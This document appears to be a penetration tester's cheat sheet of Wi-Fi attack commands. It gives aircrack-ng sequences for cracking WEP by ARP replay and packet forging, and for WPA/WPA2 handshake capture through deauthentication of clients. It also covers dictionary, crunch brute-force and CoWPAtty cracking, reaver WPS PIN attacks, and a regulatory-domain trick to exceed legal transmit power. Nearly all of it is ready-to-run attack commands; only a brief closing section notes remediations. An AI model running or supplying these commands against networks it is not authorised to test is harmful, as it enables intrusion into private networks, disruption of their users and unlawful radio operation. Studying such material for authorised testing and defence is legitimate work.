airmon-ng start wlan0 <AP Channel>
      airodump-ng -c <AP Channel> --bssid <AP MAC> -w <filename> wlan0mon
      aireplay-ng -1 0 -e <AP ESSID> -a <AP MAC> -h <Attacker MAC> wlan0mon
      aireplay-ng -3 -b <AP MAC> -h <Attacker MAC> wlan0mon # ARP Replay
      aireplay-ng -0 1 -a <AP MAC> -c <Client MAC> wlan0mon
      aircrack-ng -0 <filename.cap>

      airmon-ng start wlan0 <AP Channel>
      airodump-ng -c <AP Channel> --bssid <AP MAC> -w <filename> wlan0mon
      aireplay-ng -1 0 -e <AP ESSID> -a <AP MAC> -h <Attacker MAC> wlan0mon
      aireplay-ng -5 -b <AP MAC> -h <Attacker MAC> wlan0mon
      packetforge-ng -0 -a <AP MAC> -h <Attacker MAC> -l <Source IP> -k <Dest IP> -y <xor filename> -w <packet filename>
      tcpdump -n -vvv -e -s0 -r <packet filename>
      aireplay-ng -2 -r <packet filename> wlan0mon
      aircrack-ng -0 <filename>
    

airmon-ng start wlan0 <AP Channel>
      airodump-ng -c <AP Channel> --bssid <AP MAC> -w <filename> wlan0mon
      aireplay-ng -0 1 -a <AP MAC> -c <Victim MAC> wlan0mon
      aircrack-ng -0 -w <wordlist> <capture file>

      You can capture the handshake passively (it takes time) or de-authenticate a client.

      De-authentication attack
      aireplay-ng --deauth 3 -a <BSSID> -c <client_mac> mon0

      Deauth every client - aireplay-ng -0 5 -a <bssid> mon0

      Dictionary Attack
      aircrack-ng -w passwords.lst capture-01.cap

      Brute force Attack
      crunch 8 8 0123456789 | aircrack-ng -e "Name of Wireless Network" -w - /root/home/wpa2.eapol.cap

      CoWPAtty Attack
      Wordlist mode:
      cowpatty -r <Capture file> -f <wordlist> -2 -s <AP ESSID>

      PMK mode:
      genpmk -f <wordlist> -d <hash filename> -s <AP ESSID>
      cowpatty -r <Capture file> -d <hash filename> -2 -s <AP ESSID>
    

# ifconfig wlan0 down
      # iw reg set BO
      # iwconfig wlan0 txpower 0
      # ifconfig wlan0 up
      # airmon-ng start wlan0
      # airodump-ng --write capture mon0

      ifconfig wlan1 down
      iw reg set BO
      ifconfig wlan1 up
      iwconfig wlan1 channel 13
      iwconfig wlan1 txpower 30
      iwconfig wlan1 rate 11M auto
    

airmon-ng start wlan0
      airodump-ng wlan0
      reaver -i mon0 -b 8D:AE:9D:65:1F:B2 -vv
      reaver -i mon0 -b 8D:AE:9D:65:1F:B2 -S --no-nacks -d7 -vv -c 1
    

airmon-ng check
      airmon-ng start wlan0
      airodump-ng wlan0mon --wps
      reaver -i wlan0mon -c 11 -b 00:00:00:00:00:00 -K 1
    

Wired Equivalent Privacy (WEP)
      RC4 stream cipher w/ CRC32 for integrity check
      - Attack:
      By sniffing an ARP packet, then replaying it to get many encrypted replies with different IVs.
      - Remediation:
      Use WPA2

      Wifi Protected Access (WPA)
      Temporal Key Integrity Protocol (TKIP) Message Integrity Check
      - Attack:
      Uses a four way handshake, and if that handshake can be captured, then a dictionary attack ban be mounted to find the Pairwise Master Key for the Access Point and client Station.
      - Remediation:
      Use long-keys

      Wifi Protected Access 2 (WPA2)
      Advanced Encryption Standard (AES)
      - Attack:
      Uses a four way handshake, and if that handshake can be captured, then a dictionary attack ban be mounted to find the Pairwise Master Key for the Access Point and client Station.
      - Remediation:
      WPA-Enterprise